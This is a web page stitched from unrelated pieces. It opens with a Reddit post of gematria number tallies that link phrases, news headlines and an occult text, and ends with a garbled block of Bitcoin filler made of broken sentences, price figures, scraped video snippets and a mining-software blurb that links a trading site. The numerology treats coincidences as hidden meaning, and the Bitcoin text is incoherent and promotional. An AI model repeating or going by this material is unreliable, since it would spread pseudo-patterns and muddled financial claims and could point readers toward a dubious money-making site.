  • "(a) very unique energy" = 232 basic alphabetic | 2,247 jewish-latin-agrippa
  • ... "very unique energy" = 2023 trigonal (ie. 223 with zephyr)
  • "the very unique energy" = 264 basic alphabetic ("Source" = 264 primes)
The golden ratio is 1.61(8...)
  • ... "unique energy" = 161 basic alphabetic
  • ... "unique energy" = 1601 english-extended
  • ... "unique energy" = 1061 jewish-latin-agrippa
  • ... .. "energizer" = 1061 english-extended
  • ... .. .. "unique energy" = 161 basic alphabetic | 322 baconis
  • .. .. ... "undercurrent" = 161 basic alphabetic | 322 baconis
  • .. .. ... "song of creation" = 161 basic alphabetic | 322 baconis
https://old.reddit.com/GeometersOfHistory/comments/cyr1nq/gematria_of_161_and_322/
EDIT - again, next day (remembering that 'president' ~= 'count' ~= 'accountancy'):
I wrote here, a few days ago:
These are things we can imagine Alphabet Sages might desire to encode and honour - as much for a mnemonic purpose, as for teaching purposes, or for archiving [...] knowledge [...] or purely for the sake of esoterica itself (ie. wizard just likes math, or architecture, and thus honours math and arches, secretely in words using basic algebra and references to certain idioms and golden numbers. Wizard works for King, shows him tricks. King decrees new Bible edition, and new Dictionary version).
Today:
https://www.reddit.com/worldnews/comments/eemt1d/china_orders_christians_to_rewrite_the_bible_fo
China orders Christians to rewrite the Bible for the era of President Xi
China orders Christians to rewrite the Bible for the era of President Xi
  • "Right the Bible" = 369 primes
  • "The Alphabet Code" = 369 primes
  • "Ritual Code" = 1,666 squares
  • "Aright the Bible" = 1,666 squares
  • "The Bible: 1 Right" = 1,666 squares
EDIT - next day again (Christmas Eve) -- re: bullets (first edit above)
https://games.slashdot.org/story/19/12/23/2042253/how-do-bullets-work-in-video-games
How Do Bullets Work in Video Games?
https://arstechnica.com/science/2019/12/lessons-from-scorching-hot-weirdo-planets/
Q&A(stronony) —
Lessons from scorching hot weirdo-planets
The first kind of exoplanet found, Hot Jupiters still perplex and captivate
from The Comte De Gabalis, discourse 1: https://www.sacred-texts.com/eso/cdg/cdg04.htm
He found me to be of a tractable, inquiring, and fearless disposition. A dash of melancholy is lacking in me, else I would make all, who are inclined to blame the Comte de GABALIS for having concealed nothing from me, confess that I was a not unfit subject for the Occult Sciences. One cannot make great progress in them, it is true, without melancholy; but the little that I possess in no wise disheartened him. You have, he told me a hundred times, Saturn in an angle, in his own house, and retrograde; some day you cannot. fail to be as melancholy as a Sage ought to be; for the wisest of all men, as we learn in the Cabala, had like you Jupiter in the Ascendant, nevertheless so powerful was the influence of his Saturn, though far weaker than yours, that one cannot find proof of his having laughed a single time in all his life. The Amateurs must, therefore, find fault with my Saturn and not with the Comte de GABALIS, if I prefer to divulge their secrets rather than to practise them.
https://arstechnica.com/science/2019/12/optical-quantum-computer-goes-big-in-new-quest-for-quantum-supremacy/
Photons are (almost) supreme —
Why I dislike what “quantum supremacy” is doing to computing research
  • "Photonics" = 119 | 47 reduced (ie. Orthodox, Foundation, Master Plan)
  • "Photonics" = 968 trigonal
  • "A+ Photonics" = 969 trigona (ie. Matrix Code)
Q: Light particles?
"A: Bits of Light" = 393 primes (ie. Bits of a Light )
submitted by Orpherischt to GeometersOfHistory [link] [comments]

Bitcoin Quotes By Famous People SHBA - the Serial Hashing Bitcoin Architecture Bitcoin Architect: Everything You Need To Know About Bitcoin Consensus Algorithms, Blockchain Technology and Bitcoin UCL - by Andreas M. Antonopoulos Bitcoin Basics (Part 1) -

Bitcoin was the first cryptocurrency to successfully record transactions on a secure, decentralized blockchain-based network. Launched in early 2009 by its pseudonymous creator Satoshi Nakamoto As the co-founder of Founders Fund, he invested in mid-2017 around $20 million in bitcoin which is now worth of about $100 million. As the news of this massive purchase was introduced to the public in January 2018, the Bitcoin price spiked. Cryptocurrency Greatest Quotes – Conclusion. As you can see many great minds think alike. Bitcoin climbed 7% one month on from the first halving event in 2012, but slipped 10% a month after the second one in 2016. However, the price rose 944% six months on from the 2012 halving and 38% Fran Strajnar is an entrepreneur, early bitcoin adopter and Blockchain enthusiast. Co-Founder & CEO of Techemy Ltd, the parent company to BraveNewCoin.com & Techemy.co**This article was originally Best Bitcoin Mining Software For 2020. Using blockchain, bitcoin uses mining software technique to convert data transactions. Bitcoin mining process is actually handled by the bitcoin mining software. You can also have a look at https://thebitcoinloophole.co. This software helps to control the output and input of the miner.

[index] [1290] [31172] [10342] [6740] [581] [18951] [24943] [24483] [22276] [20827]

Bitcoin Quotes By Famous People

At Yahoo Finance, you get free stock quotes, up-to-date news, portfolio management resources, international market data, social interaction and mortgage rates that help you manage your financial life. In this video I will show the device of our architecture, its differences and advantages in comparison with the traditional architecture which is used to create modern computing devices. http ... Bitcoin Positive Quotes η к я CreationS. Loading... Unsubscribe from η к я CreationS? ... Best Positive Thinking Quotes and Sayings About Life - Duration: 5:32. Joel Greenblatt Top 20 Investing Quotes. Tags: #stockmarket #stocks #investing #money #trading #forex #investor #investment #bitcoin #wallstreet #finance #makemoneyonline #financialfreefom # ... Bitcoin Cryptocurrency Crash Course with Andreas Antonopoulos - Jefferson Club Dinner Meetup - Duration: 1:12:22. Jefferson Club Silicon Valley 192,322 views 1:12:22

Flag Counter